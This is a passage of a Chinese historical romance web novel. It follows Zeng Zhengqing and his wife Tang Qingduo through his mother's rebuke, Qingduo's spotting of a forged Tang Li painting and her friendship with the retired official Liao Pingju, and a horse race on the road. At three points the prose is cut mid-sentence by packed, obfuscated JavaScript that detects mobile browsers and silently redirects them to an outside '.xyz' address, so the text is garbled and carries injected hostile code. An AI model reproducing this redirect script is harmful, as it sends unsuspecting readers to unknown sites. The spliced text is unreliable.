青朵惊讶的嘴还没有闭上,曾正卿又道:“母亲见了,还以为我待你不好,让你心里积了怨言,这才把我叫去问话。” “咳!”青朵讪讪道,“不管怎么样,你与她总算相见了不是!哈哈,也算歪打正着了!” “不过……”婆婆作为《男诫》第一个读者,青朵非常想知道她读后的感受,追问道,“她喜欢吗?” 曾正卿笑了笑:“你觉得呢?儿媳要让自己的儿子事事退让,做小伏低,会有母亲会待见这种言论吗?” “你未免小看了你母亲,”青朵不以为然,“我只不过想让天下男人都明白一个理,我们女子可不是任人摆布的物件,我们是人,我们也有自己的想法,少打着爱的名号,对我们呼来唤去!” 这倒是有趣,母亲确实不以为忤,她们两个相处不多,青朵倒了解母亲的性子,如果母亲当年没有选择出家,她二人必定是和睦融洽的婆媳。 曾正卿压下心中的黯然,说道:“可是因为上次,我不许你掺和守真堂窃书,你与我大吵一架的事?” “哼,你知道就好了!”青朵抱起手臂说道。 自己不过是一时惹她不快,没想到,竟连累全天下的男子都要跟着受这份训诫,他虽然感到好笑,但上次那桩事确实给他足够的教训。他拱手俯身,恭顺恳切道:“夫人教训的是,曾某知错了。” 青朵一脸欣慰,坦然接受了他的悔过:“孺子可教也。” 曾正卿嘴角一抽,及时抿嘴,这才勉强把笑意咽了回去,他连忙扯开话题道:“母亲称赞你来着。” “哦?”青朵来了劲头,眼巴巴地望着他,“这话怎么讲?” “母亲说你很好,待人真诚和善,也有自己的底线,不会让自己受委屈。”对上那双晶莹的眼睛,曾正卿忍不住伸手摸摸她的脑袋。 青朵渴望听到更多的赞扬:“还有什么?还有什么?” 还有……一句不能说的话……母亲说,嫁给我,委屈了你。 曾正卿回想起母亲斥责他的场景,无奈地长叹一声。 当时,明净板着脸训道:“上次我就跟你说过!别把阿照拘那么紧!让她去做她想做的事儿!你打小被你爹管得严,什么都得按照他的规矩来,生生把你磨成这副模样,明明才二十,就已经老气横秋的!” “阿照是个爱热闹,率真活泼的姑娘,和你这样的一板一眼的闷葫芦在一起,算是低嫁,本就委屈了,你怎么还忍心处处束缚她呢?” 什么“老气横秋”?“闷葫芦”?“本就委屈”? 曾正卿震惊地看向母亲,在亲娘的心里,自己作为夫君就这么不堪吗? 这都是从何谈起?曾正卿一头雾水,难道是青朵向母亲哭诉了什么?可是她怎么不直接对自己说呢?他们之间,一向都是有话直说的啊! 明净看出曾正卿的茫然,从锦盒里拿出册子递给他:“你自己读读。” 他依言打开册子,目光落到第一行,瞳孔猛地放大,抬起头,愕然望向母亲:“这是?” “阿照一定是忍无可忍,才会把不满都写下来。”明净严肃道, “曾正卿,你好好悔过吧!” “你静下心来想想!若是对妻子的痛苦都视而不见,日子久了,再热的心也会被凉透,那时候,你们的感情也就走到了尽头。”明镜说着眼眶泛红,“当年母亲的痛处就摆在你面前,你难道看的还不够清楚?” “你,你怎么忍心……”她的声音里带着颤音,“用同样的固执冷漠,伤害,伤害你的妻子呢?” 曾正卿想到母亲的泪眼,手停落在青朵头上。 那时母亲道:“老大,我原以为换个地方,那件事就会过去,可哪成想,只要一合眼,你父亲当时那副样子,就会清清楚楚浮现在眼前……”说着,她重重叹了口气,缓缓闭上眼,泪水顺着眼角缓缓流淌。 曾正卿看着母亲落泪,心中酸痛,忍不住说出藏在心里的话:“娘!回去吧,让儿子孝敬你。” 明净摇摇头,低头拭泪说道:“我不回去,我只有念着经,才会好受些……” “我,我这一辈子算是毁了,阿照不一样,她还小,你可不能委屈了她呀。” “我该是有罪,所以今生才会遭受这些。就让我在这儿赎罪吧!” 纵使母亲出家多年,那件事依旧是她无法释怀的心事。青朵见母亲第一面时,便敏锐察觉到母亲并没有放下。而他作为儿子,又何尝不知母亲的苦苦挣扎? 当年母亲心灰意冷到了极点,万念俱灰之下,不顾父亲忏悔挽留,自己跪在跟前苦苦哀求,她都毅然决定出家。最后,即使父亲病重,临终前盼着要见她最后一面,母亲也不肯出现。 有些伤害,就像钉进木头里的钉子,即使后面拔出来,也会留下深深的伤口,无法愈合。 他心里很清楚,换做任何人经历了当年母亲的遭遇,都没法轻易放下,更没有人,有立场,有资格劝母亲选择原谅。可他也知道,带着这种痛苦过日子,实在是煎熬。 所以忘却未尝不是最好的结果,想到这里,曾正卿不由得为弟弟正己感到庆幸,至少他不必困在沉重的过往。 * 动身之前,曾正卿还有两件要事处理:一件与自家的书铺相关,另一个是画铺的事。与书铺相关的这一桩,便是他一直以来的盘算——让露浓加入“鸣鹤书会”。 所谓书会,早年原是科举考生们自发聚起的读书讲学团体,不少人从这里走出后高中进士、仕途高升;只是后来时移世易,渐渐成了那些科举失意的举子们,专门编写话本、戏剧与曲艺的文艺行会。 露浓本就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292287|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擅长写故事,如果能进入书会,于她而言,定能学到不少真东西,这是她独自琢磨学不来的本事。 只是有一处难办——书会中无有女子。 曾正卿为此事费了不少心思,先是旁敲侧击打探口风,又摆了好几回宴席相邀,甚至主动提出出资相助,可无论怎样,鸣贺书会的会长杨跃始终不松口。 几番努力下来,曾正卿见势不可为,只好暂且放下,心里也默认这事再无转机。哪曾想,就在他渐渐淡了这份心思时,杨跃会长派人来到府上,说要请他过去一叙。赴约的路上他已经隐隐有了猜测,等见到杨跃,对方将话挑明,果然是事情有了转机。 杨跃道:“你也知道,书会历来没有女子,这本是不成文的规矩。偏偏有人听说了你的事,知道你先前在书商行会整治乱象,对你赞誉有加。又听说露浓姑娘的才华,劝我们不必死守着规矩,不妨网开一面。他还愿意作为引荐人,介绍露浓姑娘入会。” 曾正卿大喜,谢道:“多谢杨会长!能有入会的机会,实在是意外之喜,了却了我的一桩心愿。只是不知,此番愿为引荐的是哪位前辈?也好找个机会,让晚辈当面感谢才是。” 杨跃笑道:“曾老板,这可就是你的大造化了!这人不是旁人,正是那位曾在京中任礼部尚书,如今辞官归乡的廖平举廖大人啊!” 曾正卿大吃一惊。 * 与此同时,青朵正在“珍宝楼”,完成曾正卿交给她的任务。 他自己准备回家带给亲戚们的礼物,说是让她置办,实际上,也只让她去挑选一幅送给曾大伯父的字画。 曾正卿之所以把这事交给她,一来是知道,她对字画这类物件比别人更在行;二来就是,近来瞧着她总闷在家里画画,大门不出,二门不迈,便想借着这由头让她出去走一走。 青朵无奈,只好撂下未完成的“第十二月正卿图”,不情愿地出门。 挑选字画,本不在话下。但是令青朵打怵的是,自己以前从来没有来过这种古董字画店,心里实在没底,即使有管家何伯在旁帮衬,那份手足无措的慌张,依旧没缓和半分。 “夫人是想买字画,那真是巧了!我们店刚收到一幅唐礼的画,不如夫人和我到楼上,细细瞧一瞧?”店伙计满脸堆着笑。 青朵摇头道:“谁的字画都行,但我就不要唐礼的。” 花大价钱买她爹的字画?太亏了!她倒不如回家去求他爹写一个,画一个。 “你们还有唐礼的画?可是那幅《青山万朵图》?”后面有人问道。 听到熟悉的名字,青朵心头一震。连忙回头看去,只见一个头发花白的老人缓步走来,身后跟着一个随从。那老人眼中偶尔射出的锐利,仿佛能把人的念头全部看透。再仔细一瞧,他脸上挂着温暖的笑意,跟坊间常见的和善老者没什么不同,倒让人觉得,刚才不过是一时眼花。 青朵忍不住问道:“老伯伯,你也喜欢唐礼?” 老人和蔼道:“哦?难道小友也是同道中人?不过,方才听你说,谁的字画都行,唯独不要唐礼的,不免叫人有些疑惑啊!” “这个嘛……”青朵含糊不言,不过有人喜欢他爹,她愿意帮忙,“老伯伯,我帮你挑挑吧!唐礼的画,假货可多了!” 64. 画铺 “夫人这说的是哪的话!我们店里的东西,向来实打实的真!”伙计连忙陪着笑说道。 “不防,那就请这位小友帮我掌掌眼吧!”老人道。 他们二人随伙计上了二楼,靠窗坐定。伙计从里间捧出一个长匣,小心翼翼地打开,取出里面的画卷,轻轻铺在长桌上展开,介绍道:“这个就是唐礼所画的《墨梅图》,梅花以瘦硬笔法勾勒,墨色枯润相间,一笔一划皆有章法,绝对是真迹无疑呀!” “没有艳丽色彩,单靠黑白墨色,便画出梅花孤傲的劲头。梅于寒风中独自开得热烈,也是坚守本心,不随波逐流,如此方显文人的清高品性啊!”老人赞了几句。 青朵看了一眼,毫不犹豫道:“这不是唐礼的画。” “曾夫人,你怎能这么说!”伙计变了脸色,急道,“你这话要是传出去,我们以后还做不做生意了?您夫君曾老板和我们掌柜素来交好,你可不能坏我们名声啊!” “我不是污蔑你们,我说的是实话啊!”青朵坦然道,她指着画卷细细说来,“这也不怪你们,这画仿得极真,确实难以看出。只是无论是色调、笔画粗细,会有些微不同,还有这仿品只抄了模样,却没有抄到魂,当然不是真的。” “我现在帮你指出它的问题,不叫你们卖了假货给别人,这才是帮你们啊!” 别的她倒是不知道,但这幅画一看便知,这分明是她娘秦罗芙的仿作,昔日爹因舞弊案获罪,被关入大牢,家里急需上下疏通打点,情急之下,娘赶着仿了几幅爹的画作人情,或是换成银两。所以这些年市面上流通的唐礼赝品,有不少都出自娘的手笔。 娘作画的手法习惯,青朵打小见惯了,现在嫁妆箱子里,就还有不少娘记录她幼时的画作。即使娘的仿作,已经到了几乎可以以假乱真的程度,但对于青朵来说,看破这些,简直就是小意思。 老人惊讶道:“这位小友年纪不大,怎么对唐礼了解如此深刻?你难道是他的弟子传人?” 青朵并不想对外人说出自己与唐礼的关系,只是谦虚道:“哪里哪里,只是皮毛而已。先前因几分兴趣稍稍了解过,只是时过境迁,现在对于他的画作没那么感兴趣了。” 不过难得幸运能碰到娘的遗作,她务必要买回去! 与老人的一番交谈减缓了青朵的紧张,她转身大手一挥,大大方方对伙计说道:“这幅画给我包起来!” 老人身后的随从怀疑道:“你口口声声说这不是唐礼的真迹,怎么反倒把画买下来了?莫不是故意骗我们,想把这幅画据为己有吧?” “哎,这位小友不会骗人的,在我们没来之前,她就说不想要唐礼的画,这幅画画风意境倒也别致,只是符合她的喜好而已。”老人道。 青朵喜道:“哎呀!你真是我的知音,虽然我们刚见面,你就能明白我的心意!我真想和你交朋友呀!” 老人哈哈一笑:“小友不拘小节,正合我意。只是我这把年纪了,跟一位夫人交朋友,终是不太妥当,方才听伙计说起,你夫家姓曾,不知是城中哪户曾姓的人家?” “我夫君叫‘曾正卿’,是清源书籍坊的东家。”青朵认真道,“不过,我不是曾夫人,我是唐青朵。” 老者听到她这番话不禁一愣,随即觉得有趣,“呵呵”笑了几声。听青朵又问道:“老友,你叫什么名字?” “放肆!这位可是廖大人,你怎敢直接问他的名讳?简直无礼!”随从厉声喝道。 青朵猛地一惊,呆呆地望向眼前的老人,说不出话来。 “大人”?究竟是多大的官?她从来没有和什么达官贵人相处过,不知她刚才的言行举止有没有失礼?青朵又有些紧张起来。 这位廖大人脸上带着温和的笑意,说道:“我姓廖,名为平举。如今早已退仕还乡,实在担不起‘大人’这二字了。今日与小友闲谈,倒是十分投机,从你身上学到不少东西。我痴长小友几岁,你若是不嫌弃,便叫我一声‘廖伯父’吧!” “大人!这怎么能行!”他的随从急忙劝阻道。 青朵松了一口气,人家既然这么说了,自己遵从就是。她本就不是婆婆妈妈的性子,于是大咧咧地拱手,直接唤道:“廖伯父,既然你这么说,我就不客气了!” 廖平剧笑眯眯的,连声说道:“好好好!小友甚是痛快!今日咱们初见也算是缘分,何况你还帮我辨识了一幅画,这样吧!这幅画就当我送你的见面礼吧!” 青朵赶忙摆手推辞道:“那可不行!这话虽然不是唐礼的真迹,就凭画的品质,还放在这地方卖,想来价值不菲,我与您今日第一次相见,就收这么贵重的礼物,这岂不显得我厚脸皮?” “没什么的,只是以后我再遇到唐礼的画,想请小友来帮忙鉴定,不知小友是否愿意帮我的忙?”廖平举笑着问道。 青朵本身就对这个欣赏他爹的老伯颇有好感,人家又把她母亲的画买下来送给她,对于他的喜欢瞬间到达顶点。于是,她拍拍胸膛,当即应下:“包在我身上!” “实不相瞒,我也有些绘画的本事,虽然比不上那些名家们,更比不上唐礼,但是画出来的东西也算看得过去,这样吧,你告诉我您住在哪儿,过几日我画好了给你送去,我也不能白要你的礼物,就当是你送我画的回礼。” 廖平举打趣道:“那我就恭敬不如从命了。”说罢,还真让随从把自己的住址告诉青朵。 青朵默默记在心底,便和廖平举道别,带着何伯出了珍宝楼。心里又是快乐,又是得意,这真是个好地方,白捡了一幅画不说,还交了一个“大人”好朋友。 正当她洋洋自得,何伯问道:“少夫人,这就是要送给大老爷的画吗?” 青朵一拍脑门惊呼:“哎呦不好!我把这事忘得一干二净!” * 晚上曾正卿回家,青朵迫不及待取出白得的画卷给他瞧:“瞧!我今天碰到一幅我娘的画!” 曾正卿见她抱着画卷宝贝的模样,笑道:“你今日收获颇丰啊!” 青朵连连点头,滔滔不绝道:“是啊是啊!多亏你让我去选礼物,否则这幅画就落到别人手里啦!” “我才知道珍宝楼这么有趣,以后还要多去逛逛才行!对了,我今天还碰到一个厉害的人物,是廖平举廖大人!我打听过了,他以前在京城可是好大的官啊!” 曾正清吃惊道:“廖大人?你碰到他了?” “是啊,我们还聊了很久,他叫我‘小友’,我叫他‘老友’,我们是朋友了。以后我跟别人说,我和一个大官做了朋友,多气派!” “这幅画就是他送给我的,作为回礼,我也要送他一幅我的画!不过……”青朵看到曾正卿的神色,奇道,“卿卿,你也知道廖伯伯?” “自然知道,他刚帮了咱们一个大忙呢!”曾正卿说着,便将廖平举主动引荐露浓加入鸣鹤书会的前因后果,一五一十地讲给青朵听。 青朵听完叹道:“他可真是一个热心肠的好人!现在看来,我得打起十二分精神来画,既要感谢他送我珍贵的礼物,也要谢他帮助露浓姐加入书会,了却你的心事!” 曾正卿应道:“这是自然。我也要准备一份厚礼,待你画完这幅画,我夫妻俩登门道谢。” 青朵点头称是,接着自夸道:“卿卿你瞧,我行侠仗义是没错的!就是因为帮了露浓姐,帮了其他被守真堂欺负的受害者,才会被廖伯伯注意到,他才会出手帮忙。这都是我们做好事的回报!” “是,多亏夫人当时坚持要做这件事,连着我也跟着沾光了。”曾正卿赶忙恭维道,“娶了夫人就是娶了福气。” 是呢是呢! 青朵扬起脸,挺直腰板,就像小鸟挺起毛茸茸的胸脯,别提多得意了。 * 曾正卿好久没来明珠书铺了。他每个月只看一看账本,只要确认夫人还愿意继续画下去就是。当他这日来到明珠书铺时,入眼的情形让他顿住脚步,抬眼看看牌匾,一时疑心自己是不是走错了地方。 这还是他刚接手时,那个门口罗雀的画铺吗? 小小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“倒是很有巧思,靠背影留白,唤起想象,抓住姑娘们的心思。也难怪她们喜欢。”曾正卿沉吟道,他收起画轴递给方掌柜,“这‘小荷翻’既有画功,又能别出心裁,是个难得的人物。你想想办法,把人给留住。不怕多付些银两。” 方掌柜连忙应下,曾正卿又问起青朵的画,掌柜面露迟疑:“东家,尊夫人已经很久没送画到铺子里卖了。” 曾正卿一怔,他明明瞧着青朵每天都在屋里画画,尤其是最近,甚至到了废寝忘食的地步,只是自己一过去,她就遮遮掩掩的,也不知在忙些什么。既然一直在创作,为何不送到铺子里卖了呢? 难道是她如今识得了作画的乐趣,不需要靠卖画得到回馈,保持作画的兴致了? 不对。 他太清楚她的性子了,那是一个“钱罐子”,岂有有钱不挣的道理! 那她近来画的那些画,都去了哪里? 曾正卿心下纳闷,说道:“我知道了。如果夫人再送画来,你在账本上做特殊标记。” “好的东家,我记下了。还请东家进屋,看看近期的账目。” 曾正卿点点头,跟着方掌柜往里走,路过几个女子,正在不服气地争论什么,吵嚷话语飘落进他们的耳朵里。 “我这幅四月的最好!他立在门外,长身鹤立,安安静静地候着,那样子,仿佛满心满眼都在等候着我。” “得了吧!还是我五月的最妙!灯火温柔,他就坐在桌旁,桌上已备好他亲手做的饭菜,要与我共进晚餐,最是体贴入微!” “吃个饭而已!这又算什么稀奇?看看我的六月!罗帐轻垂,薄纱飞舞,檀郎衣衫半褪,侧卧帐内,正是要与我……哎呀!”一时羞怯,说不下去了。 其他女郎哄笑起来。另一人冷冷道: “庸俗!我最喜欢的,还是十月,夜晚月光轻柔,与波光相映,清冷又温润的贵公子和我泛舟湖中,你们那些算什么!我这才是端方公子,如圭如璋!” 方掌柜叹道:“小荷翻真是厉害!他的《檀郎十二月图》妙就妙在,每一幅的男子各有风姿,或清雅,或质朴,或风流,或温润……正好能满足不同女子的喜好!” “如今才出到十一月,就如此受欢迎。等到第十二月图一问世,小荷翻和他的画定然名声大噪!” 曾正卿却没听见他的感叹,他皱着眉头苦苦思索着: 她们说的这些场景,怎的都似曾相识? 65. 骑马 “他的画还有一个特点,那就是所有情境都贴近日常。不论是在门口静候,还是灯下用餐,让人有一种‘这件事情我也经历过’的感觉,自然而然就走进画里的意境。”方掌柜叹道, “这个小荷翻定是一个心思细腻的人,若不是处处对生活留心,又怎能画出令人动心的画卷!” 曾正卿闻言暗暗点头,不错,方才自己光是听姑娘们描述画面,就已经生出似曾相识的亲切感,更不消说那些亲眼看画的买家了,只怕她们更觉得真与画里的男子心意相通。 ‘小荷翻’,他把名字默念了几遍,这人实在不简单呐! “往后若有机会,我想给他见上一面,谈谈以后长期合作的事。”曾正卿道。 方掌柜为难道:“东家,我从来没有见过他,来这里送画,洽谈卖画事宜的是一个中年妇人,应是替他跑腿的。看起来,他是不想让外人知道自己的身份。不过你放心,我会把您的意思如实转告,看看他的想法,再给您回话。” 他又补了一句:“当然,我会竭力留下他。他既然第一个寻了咱们铺子合作,那就是咱们店铺有什么吸引他,相比别家,这就是咱们的优势了。” 曾正卿不再言语,凭着他多年经营的经验,他隐隐有种预感:这个画师既有敏锐的洞察力,又有新奇的创作角度,兼具细腻的画工,假以时日,未来很有可能会崭露头角,到时候,说不定也能带着自己的明珠画铺闯出一片天地。 这机会不容错过,必须尽早促成与他合作才好! * 转眼就到了启程的那一日,临出门的时候,正己突然说自己有要事处理,得晚一步出发,让曾正卿和青朵带着仆人们先行。二人虽先动了身,却特意放缓脚步,等着曾正己赶上。 路上曾正卿骑马,青朵坐在马车里,虽有芳晴陪伴,但时间长了,出门的喜悦淡去,她越来越觉得,车厢狭小憋闷。 青朵撩开窗口的帘子,看到曾正卿骑马悠闲的样子,顿时气不打一处来。她指着他嚷嚷道:“好啊!我说你这次怎么不和我一起坐马车!原来是把我们丢在车里闷着,自己骑马快活去了!这不公平!我也要骑马!” “这有何不可?”曾正卿含笑道,“你下来,我和你共骑!” 他小心扶着青朵上了马,自己刚要翻身跨上,青朵却突然手腕用力,拽紧马缰绳,马儿嘶鸣一声,撒开蹄子就往前冲,瞬间载着青朵飞驰冲出去。曾正卿吓出一身冷汗,他又急又慌,竟下意识跑着追过去,可人又怎能追得上马?他只好朝着青朵高声叫道:“阿照!拉紧缰绳!不要松手!” 眼见马没有停下来的意思,曾正卿回头抢过仆人的马,飞身跃上,正要纵马疾驰,忽听前方传来急促的马蹄声,伴随着青朵哈哈大笑的声音,他不由得一怔,远远望去,青朵驾马转了一圈又回来了。 她放慢速度,看到曾正卿惊魂未定的样子,笑吟吟道:“我会骑马,你没想到吧?” “你不要小瞧我!以前我和爹四处游玩的时候,学到不少本领呢!” 曾正卿铁青着脸:“你以后可不能再这样吓我了!” 青朵自知理亏,可又不甘心被他说,做了个鬼脸,趁他提气欲言时,扯开话题道:“来来来!我们来比一比,看看谁的骑术好!谁的马跑得快!输的那个中午要请客!” 曾正卿知道,不比一场,她是不会死心的,于是说道:“好,比就比,”伸手指向前面的一棵银杏树,“就到那树下如何?” “嘻嘻!先行一步咯!”青朵双腿一夹,奔银杏树而去。 “驾!”曾正卿一挥鞭子,笑斥道,“你耍赖!” 青朵在前面咯咯直笑:“你之前骑了那么久,得心应手的,我才刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16306498|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骑,你当然得让我几步!这才是公平起见!” * 行至一个小镇时,正值午时,人饥且乏,青朵等人便选了一个小饭馆就食歇息。 他们分四桌坐定,老板娘殷勤奉上茶水,问道:“客官,要吃些什么?我们店里有……” 曾正卿直直截了当道:“不必介绍了,你们店里最贵的六样菜,每桌各来一份便是。” 老板娘眉开眼笑,连声应道:“是!是!”转身冲着后厨扬声道:“老头子,松鼠鳜鱼,船鸭,东坡肉,叫花鸡,还有……” 她突然停下来,对曾正卿说道:“客官,都是鸡鸭鱼肉,恐怕腻得很,不如剩下的改为一素一汤吧!” 曾正卿淡淡道:“只要贵就行,其他随意。” 老板娘笑了:“向来客人点菜都是想省钱的,您这专挑贵的点倒是少见。不过您放心,咱们这儿物美价廉,绝不会多要您一个字儿!再说了,一个青菜和一份汤,又能贵哪儿去呢!”说着,向后面去了。 曾正卿刚收回目光,就碰上对面青朵的视线,她正怒气冲冲地盯着自己,牙齿紧紧咬着嘴唇,唇色都咬白了。 他装作不明白的样子:“咦?夫人怎么不高兴?啊,是了!明明中午是夫人请客,我们谁都没有表示感谢,这确实失礼得很。” 遂转头向众人说道:“你们还不快向少夫人表示一下?” 仆人们对少夫人生气的缘由心知肚明,也清楚少爷不过是故意逗她玩儿罢了,于是一个个忍着笑,扑噜噜地起身,毕恭毕敬行礼道谢:“谢谢少夫人!” 少夫人的腮帮子更鼓了。 青朵指着曾正卿气结道:“你你你你你你……” 曾正卿却打断她,惊道:“哎呀!想来是夫人刚才骑马赶路,不小心灌多了风,” “瞧!这脸都鼓起来了!”